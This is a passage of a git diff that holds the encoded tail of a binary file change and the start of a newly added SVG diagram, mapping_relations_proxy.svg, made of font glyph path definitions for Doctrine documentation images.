zbnl~K$$}q}DAEw{wr_I{J_xW>gM%Mq_W+S`A#Nd?hw1bmC(=jwAx#b2H5B|f*l8kw
zYy^ABiCcVf5_bAMg&KmV1xQqYR0D_^-~dO+{19eU_;~Bpmsb?mO<nQ~1owq4*q~Gi
zP&1_6>^fA@`T6s|{I=a}G{VG+qy<Q~icJoKQOynsKBSU!7lA-p0Am$N3qa=u0s~+M
zY|<Sj84vt~lQ4AQuRse1#R(8Ncoj#q07fhvKmvdbzyJpI0g4Y6XmS`R@j3~@Se1Z<
zWP#)uGX_+{fZ~U9_fe9TpFRRZMhkjZdbHFYM^k_@0rFsNf&DbIA|EN)_e%CtD=>q%
zSJmDt6bM|$S-p9HEDS}YVMaTM;vqbU7(&G&Ljl_7FghJ3S`j0sd~Tba!&n{mKs$OZ
z4A{4%56ONlXQ;)=Da_H0M}`qYK{!tT(GGbH!PA1kTQiS^H8Ox{6#FZ}^a_wyR8~Iy
z+_IkNk)tlT-eJ^(scP`hA!$L^p~}uLmTla=3upn%r&#Waq^4M2N+!V}9}MSNh5cv&
z4Aek@0SE~YCjg27;x0rBkloB+-*>!t16xJW!C}zCfg}WwWe3Os4jUR6k?<rp!c+rS
z4o?TMVdNZyKk<t&*k+$+kDGMo<OmE6Ent>!9+!54T{(DKK_ntdAm)LYn+G=N%zl~)
zUL%N*W!;+O-FN7~dbd=;aod>fJe1^%fG;qraj(k<)PW%k5MlrVA%T?6!>rO^V<-^u
zm>51x<*b<?m&=D-xR4Z(iSEzk3prk=j}n1Qzz;bQtRC^y$48H!7vgb%3ouVC;kWIq
zUj0bz1@BA`H`Q*h3Y~i;cg@mDeS?c>0JFE`cpO0dnRY^UBF2u*1#1{{Yf4B#OUNsP
z#!&FI0IlwfG=x0@RS9Sx26HP+wGyfHyKlZ;_MgwwuemcMDcx<ea^YbF$E#RcAnB?r
z@A~q^ExYzYc2rCY@MKDq2xR&T5`jQk5NHj9WCOqk;0yXhqxTdv2)HHaUWmCOwHF8s
z*l_%eDgm(sL~xN=z<|;MB%BK*!RQ6VXRyEwog@=lkfUPQ78?RufIJa=PFfrzQ-@1n
ziMQ#kJuMzc2OFBGfLKOulcT5Esu&kP`>AYtXUTU@HVM>{umm}u^4mJC=57!xb0wi7
z4P>f!d);2Y#{wyQT+$eYI#R@?ebz3Esgo9HM5++*e&h=&+U4*X>zy1CPZT1O@cod)
zSr!Ee2y9LVFbbd9DVp_kUW`P)?!_`QEy}n)cmDNJn;zJylZvHwlPMx;!F9Yf_f;Al
z{Kyo!tIKTEb3#&;G6m(aI1G(ekC!Kjlxf1n;7Va`v6?%*6i^&iXFtr3LD2#<^&G28
zzybqgeh9d}_WZwoENz@{$D^QXfd2)lN<g%rv$mr9>le1|Erg`#u+u^!S!8|9&^_Xv
zILwD^(B1EqG_r#hi2<;13x(W3pTG%_AOX<=Bnd;qEXZ5o^4MPhsS<z$fZ_n@4gy0D
zVU56X*YbXH0@Mb4GI0FkMiNdC<dYiC#fE?ufF}ZDcQ2LCdSiTgBF_aGh<iF$E-8)v
z+vp2sDD;QivM6r-#yX=ianf{^<*;tof68T3MoyR|w_70_tZ~N+Wp&lU*~{{>#!8$<
zr$8%f|EYM}D(94^#>FUUS}JxoHm!N6oHsjb(Veki72woaL}K^yOLm$y$|<i*i0)}w
z{~ybx|H&x0e`{$WC6&@9t7!JKc`+jE&JPZ|c^u8`l<8M0Hr!PhefyX&Tf?3j&FqVO
z>z-|jxh`kcMY8Qr@9C6BU$ivQ-Qkf$aLPYAP_)H2>#h7KzK02MZ0Pv;p|UOzZ?kEQ
zhxsumS`a8LK;N-fLZB)E&L28d|HLy-b%kf-UV5X$3>k-ySVf%#a6}6_>MHbKzPP<`
zKhOduFmRtwSD+Gs%!9*x+y>eGetHCCI)GFO$RGxJD8L!S8xSqP%kZG?g0}BS_m6Uo
zB839xwTRkcMOcty_#`Z0u<Z=8JEYioiNL_7f&+FN)CXQ0owhV*L<0TG{aZd?TC6wA
zQpZc8;srI|9$4{kaZ8UVCPQ8FTB(lqw{LH>`eUbF5_<5x!XKWk;KoFaniiXXbK<Bx
z;ct&`{r2fvtA*xssmYJ$M#@Y--m>w(cNTJD;%D5Xg`gfDx3~QBqBSqo`(&ETizJjt
zmX;!J+1+L}IjUB-f^Hh+v}7_VTj+=jV&}XydhXlf=G_=8a@mY}w?HmpLLgHd+9S-l
zYxLB~!W}Q{E!r)-`0weC;<}X&7gSbpN8g;6Ix0LRMqKjI{?*S{Slz;~3=t$CK;Hl4
z7!(3nhKYAAXez|>AWVWV)n<*%Ty*tS_R4*2<;5bIf-x3lO*DeJ7vqb<1Z3(BRDicu
zNUMtErAV<F_$Tt6AkYs1yqQK{u=PG#s)25Tcpn)C0{cXV1`=$j)mp6<@`%FcpblIK
zd_l&BP&u+RL@F@E7|<(#MG?n7wSEIT(7F~$GO!dRu%2MvEK+7TBQONZ9a#R;G?kbt
zaWphG)^Xg0O{-tsS6bw%`n6L!HtnkS$3$wlZktCS<~Z#hpNvbzioy0QYF^5P_a?Yo
zZ4R*{F;~^Lr=h*Z-nz22t=2)S)ZudK@Tyv~n{w=JYix9c<b+THisLhGf2+k%+F94(
zO}r>6G&@RQGgoaey4p<J9xrcg;0gqc=K?qd@MV;#s&m(C<vZW5`1Q>?8$UXGW~i9*
zdh8sZ-6ctk%blQcw6#_IVv!`vDJKo#3Fp6*9WHVk+Q4^CUs>3b_xQ9+?vFb3Yg2Qj
zM*uk;AeIn029H3XY!-(YLUS(6eJ}&UR0w9?3opCkk_ovDTYhxgEtE(EPZ6!?!Q7BF
zOYNOH1Lw_tb0VH4$rpmau?V156K~3~gCBfB>VIGcux4Wm0MJ+=iU6O3I?#piiM{|K
zKsJU*eSn1oSWXbws^d2M*pv8@Kx>0wUL{h7Ab=1U0$RXE<@VWJ9G+6nvp8K!MfU83
zg#73Qi___{mK|?YG_|^cIyekIK9A!zdEG`x<UzM=ZQB387QF$2?m3(`zcNxzTfO{5
zsXR;o76yI+R}m-o7#vQSL=!4D)|epjAZ+|(VFGX!F8#V)lO1=#O&VQQYilC}JrsoI
zt0c1CH3+N{A@h*A&RDm)wf2|RlJ8qA23nIW6o~zd69kW<&AL5b)=M%+%=k;FtDWYH
zDQja_;m7s$)n>cPZFO-QcQpU}c){UP?v$nZlm4W(8=0_%WW<~T0(gc(Ydl`IvCM!`
zsfxuuujl%|-kv0MRc~1XnpQR*MPES5Anw{5qJ^zJaFc|#S!8ES5C{f=Knjb74UP+h
zl>LYqz=3x5XhlbMf`dBHC8!b<p8zYruvrXlFcugD(*?o<f|xBxk%18y3R>U;Ew8_7
zeFqgDJN4Gg>5q+_bY+~t<%RTtmJXjLIxHzos!7mf&5?OTqJ%MFN}1K<<b_1Sg0GIt
z){1PFy~`VY(P2~W&0Y9vZhV}WV=|T%=woN4O}=B~)JJn;wa)UN4Su0OC=r4rfa9jk
z+go*3L4<}=`$LOgz)_}!T=+_MLYm(Vd577!2;k8WcTxP@f9KD6YRrwRCPu|OO4jJT
ze6d{1<tZdW%2xJi`S$g?^qcc@C-|G&oMB0jn?xF!6QLH-ZYq5KeYr7GuBFZD<an(*
z7x>Kuw{aa9?qOI0PgQt@4vfzVG6R@%VMb0(NxtcZ8{L%!trbNAshkM}!OqjcAQre`
z>NlSTb2%wP5Ws`8ACJWG0kO*f+SX(9K=gA^2f7v=h;86_8-cM1QA@BGgFGXG!0(0t
z_4LzEpX6p}T*9;)XqpQK<luq0V$FAnbWT!8y3^yJ1bkyfkBjC-P6<)-9cBNk*#85#
z2MFS4M}<Ukn>Ke^?0&A-eE6VG#`kvZZ>p>1#!rb($PhHGKUBQ7-AW4tQooQ-Sz4Wn
zSf#bDbNA;hcCRRIYG|02uKd2H_*W~qDe^3~=6xn;iNod!nV+n3>NdaD>=#jxjZ~=?
z=t>MmJ>*qj;w>@`kq(H9C=gM6N0YT|WmVNqGbI&U>hv9l-9EG1(CBQ~Z-l?{9NqhV
zHEGf#Ql_Zs#_qizRW=oy-Eu+FWr>lof`*?Cmv7X2+)QZafZztd+tWF_ZUlM$6e88m
zh7HPe{?v)n;U{c&u;qWhI01o8$NR9rAZxe)QvX}b=B!cK?X?yA_ZNnwXY<7}AMJra
zR>&dsxIjQQOq-$GUb^G9#dm_&7?Q!_iS=03?Ae7TY0cS(K%gcbja6i4fIb6<7N!e0
zc2<yI0z(nwO3=H5@)+TpVmSd;ZJd38krthw2n>xU0uyhS$FX-id7%OxOy{r!t9ed?
zOBgNm8r^OikFTV-kSPG%4PkZn@cb0*lR>0GpU38>jsBcRN9WCvRen_4Nrx_cDzW6n
z{rgsSI3Qh7gplj=I=Z=173H&g>^8qtD}-eB*|((U{wbmDo1JUlGs_iRkKJqU@rpEH
z8U!A3Oco)x)dTqqncPV1q9TwA!PwAgaL_;$gg%#pBUXVsu-~G0`S~Ek_BknzM8R|S
zcpwd_K;Uy(+(O7e=<>R{ynLAmaxn+zOMiY25!|aIo(LC<9=q>J5A6YCD-@Isxmlki
zo?xJ%0DQ-x53!{;a7_q(Xf#=t-gB2ecJ#=3SAz*SvsGeZVjd?#6r5xn6zeK<U%j}y
z=pe)`0A(#|2A-hNg(qSa=lRnj-8&@&@L&tnDPTL5epR0Gyl|om1C?%gOGXCpDLqMY
z(WxUa2qgk~H<0k4_gmk6nP7r`t}Ie2_VWciu{=}&J9cTfjAy4r5~(smED`d>YN1dq
z5laLD6(y33BtD9w1yYD>5W;KS+}2#{8+q60OCO19{HdmLm&qp<DMG|N8;9c*%C%4%
zmnRn~qeXCUo<tOVp|)#t&E9W&q*9;_eoD+&#Yr$HfVDuR5~*Tk>UfzZUapRl$uyLo
z_K8C!axF#4gz|797$49SPZ2FshB9XqA_31qN#qid6w(~<q#+VskB{R7s|7Kn7$%&c
z|M+6FQv@CZ4!~no33vyF91}q502`&~sEEJ)ZLzatM_W~iKrHdYuo@)#fmDFZrvpA0
zQlK9Kfs1h<GdMPz02U+!ul2_zacx*lfd15vi!ih}I6WG9js$@rL|_oKAaE%6ZNZMj
z3I;hZ4OW3neSRO4(wF(<FzIi=(2t=LutS8L2n?@)Z9HQ>$k;p59vb%N*7EM{&+K3K
zMDgl}3pcz}Z|b4>LM~jzfdF5Sv6<B}!vX=B4j}Qd&*9km_kEk+sWDn0UQKU;A^1~Y
zkYeUNf*XN}BAjGDAxsYQda;=cAmko2j5U9QDm@U185+v^89-Cv3(b1ig9QU5O@K3u
z>oN&sbj)~T;z0-6`5iIzJIT=OH_0N$1RT@_cKKj_1u<slUO0E*v<V&C*E&oFzEI3O
zp8hQKWaA&tyktrp!f9f-RfSh;JZJ+4;ZeJzegt_iKhYNJ$VLkVZ|~#5gb)n3QFr$A
zH&|MLhA$qqh}rg2x3dc}>e^AXp-(f6{~sAFF#nipz@Jbh68Jei#fH|sHi%&?WTFZ}
zj^W-i0rNY1TiRzo>~!0}y=@5g@kd0=Y|EMSgNUB@CR!rz=FwvnC5Z^w!S~xLon&MO
zZiae?NT13UiTy!l04CZtn|1Nh`=huJd1^D5w1DRbo|=PsZO~otY#YoaqzpmeL<scT
z&7Xo`U{IG3E=z{u*?>T>v;fbx=nJ!MvV~lEP!nku?<AerkO<+BLr_Bq0Th%=BnYM<
z5RNqgW;`<LNCXDL800LjQRogqKo|@PD8fnvR=GrBkO2V+f*i^s;D~}cOArB3PzKOp
zJlFv1Y)#cxZU6PXuGjB-@AuyCd-Z+Q^)WKM4CS$*@B2MfE2`mMZBu@Viov{Bc1UX8
z%q0gSG=#o6+LmuuFbv$+zqsG`JjFo=`+m|mh;Tlr^;`lL*Rch?LFy~be*bI<30XSX
z%gT{tkEXVahF7q68}XkfuV)25mfLLg@KwSpN`^&IoG-<~BPyposHE05hNP!!dbYuF
zKKK*vplxaE^pVf4+VgX<OAgJ6B0q_PTzrRHVR>cf+}vVBY~L>JQeIy~W*ID{M9EOy
zQcrk0e=pX`3b<wt?P9(V5vy*+9-A0k$NdRahpGkd>=q0!N7Mq*vOozI#E1YVgc5cL
z6fL*_>EYQY^wl$_qU`f{3D2hYo4@^)5jwV=opP~L?5ez(z9Eh@LC5xt>&5aa?d659
zW}t(zxY5r+hc;@rC*r+8UYCzq%$P=MPO<TnX<%Mym~=n(?low3!k~rvSo3Mb9A~_}
zY3$`W#jQz1wNj?{C199NH@^L7+w|65g6;V}<+L&1%oEK7VNb)NoqL4>8jMJm=d1t+
z(AaUI64jL*|7Rbz?Df>qYu{H`iqojgwG$?~R$F8nu+z8mrmV_h_@J!4=)F=+fNIEK
z9*lPm{(G~qe<3k`Ufy}c0oISbuHjM(X!+ZaM2FHW8E_AP?|_E{WK8mh-0WQQ!x3J$
zi$1iSv6k6uc2{`6l5h4jA*^w2+p+D9=~kz-9JQTJfy&0Sx%%}>C7=Q}n5<I;fv!aU
zT|zL%3>PLl9%7X@G6&D1f8?_0=~<3zgF6m+pM17xS#~USaH(LU&!iGnm)UsNYLQ5(
z%ilxq-^_B$)XBM!d&<9lwC}2uC-J(AfyK0y*_=s^xdJ(s^4M42bB%AB<`%BCeE00P
zRBtMNoa{~nso`#%hTs=Zp1jw5e084`kA@T7?TRDg!808iAcRfS#42|9*?djTAPm8L
zpa)18uC(on#4+Wx09p!FBG!L*B4huiX!h^L@$8u&)<ZJF#s-Qrb%*VhEXc3P8H}NC
z$xt8FwhTY$Bsg8uL}_po_IYs*ApcOayYIL@7`6$q)ypW>3vKeb#_6daqtj}UKr{i<
zkZ$v4NPlSW?81Iur#JygxgpgBKMD6dw~<iJsVh7KQF-z*&8Elrm)Y^)`D-XyhVex-
zq;n=LhQ8pB4!uTs^5o*c!Fliq$F)qwC;l4=S%&`BV!%ZVZz`^SFdI|-+`pz=9nq4F
zw3dT9dn{^4g3fVwg#Owjz8C717oFAl63BNGXqWH@w-0VOKDVhb;g9b6YJVSLoRAmx
zw5fLD-dTfB6o{<wCWwq;1elxF!yT=tIf;LZ?T3@%1^y|4kv2cIl_R_E^V>Wg2B~8{
zf?4^1AHif3$&Y}(lpl%7TuUU}aB}N0^v*#9Ml}`)&Jst#G{(%-PslsRis|3=w(K)G
z%j&pOzIMxST~+*ee@fNjgB#vTwQJIprABtqj%w=)x-Ffj=n6l2y+AIT*jITfda28V
zRHn|aVUMST$zq}ix>~UA>ngUOmEjnm08NSHUCxRE7_tZ~t=6qE@?(2a;yij-iPtMO
zp|2N)At#k}#&3xnw><jT6y3%S^H1*BooDy?R9s}>{T6rGgnt@-kRp9*4K0o6MRJ+j
z24Yv(Z$X1VBXil|06`5qpFyL+kvqmgL7=h5ti&OoS*Jd)-;aU>_drBbxoZKqlG2$)
z;)Wz;c4N+HNpbm`s1ZO=5B=;=fOuQq#ytH>{p?Z<sseR#I3GHx9y46>GS<BY%P~sz
zc(U|%;IRqG64$OSIjXC*nH=28nE%~tV2_zOV&$%bbYX_GinrNWn_0bL)flzYL~9JZ
zbI2waob63*2FSXu)uieK<=J(@x2azbUZlGz-Fi_%TcM)e5*hMT9FBMNpu5*tFl1sR
zOf(l7AWg}vROvr+x*IdF9=u$rT7pd)1)-ney;y3o;QWz5<d#&PBEYB=WIQlgW1A)*
z_uj*J*t;s6{-^?xDCUzpd<_E;&f4ou+F69Cg4^Y9cg~-EI-0Ep*;v7PQB5?%o8(DM
zti9JJRa+a$^)gQ;7rCKVulotYr18S;-oJ3jeFXr56d!Ay!g)~rt<J^9{&y-I#ScMm
zlOj(D<qx%)o@NaARx0llQn*vgqQLoIv)_^#vSQ-bUbM}!Uob>cpSEx=^@SFC)js*1
z<ZlWVDb~feE`0t0WPdyWac=OY(#MZEq!spZ!()pQx$`$SF<~LVr9Q&h04Kj+tD-L~
z4Xi9w9xFzVGV5sYT2@k6>2M_1fimE}S^;8+w3~?i8Tk|dxY$~Vy+(yqQ@m~`sm{wN
zG1&Re-ut!q4(>cMYR!x4KTQP>C)lz)huN!{<$|IjJbDz!9ewxYtlHJqp+&^2WiL8<
z!fYe_@Zu#-922uwdaB&lKMV&e*cy@kp!3IH;MH$kL4p&JTT{JL`v>l@0}t#aE7={h
z&U`_goG~uKf9h4OJ6htfl3oflKl2_Nvjl32WZxviQuavwXeowRu=kn4j|Qt`W@4`x
zncID6bUP56Kp~gzgI@Q)F_qadCA8*Mx*NM8eON2!75tXl9!#EeMM{c{S*T*Tssdu1
ziCsEh#tLvo1Yl|{k^!yYw5qi%ulCLVEoY_!K2!<n^ruPDvTXU^DgLi4>n2m`@Bzn{
z*Qo!rXju4HzmUgTe>GWcPVrw3>5K1v2jPy@AXncwQQ+MwNkE$BDq1Tg1S5SS`D}s5
zwv|@9tW5^7Vl5D(ZtDES5GqH3OZc|ujI)PV7VzcBDG&&mLs;5Z;y)*B!zqwE*%?W1
grmbW{VIL+#ADI|J_@ep-un15*9<E%MDrdgv-#Gz4&;S4c

diff --git a/_images/doctrine/mapping_relations_proxy.svg b/_images/doctrine/mapping_relations_proxy.svg
new file mode 100644
index 00000000000..634d1b0add2
--- /dev/null
+++ b/_images/doctrine/mapping_relations_proxy.svg
@@ -0,0 +1,926 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="821pt" height="378pt" viewBox="0 0 821 378" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
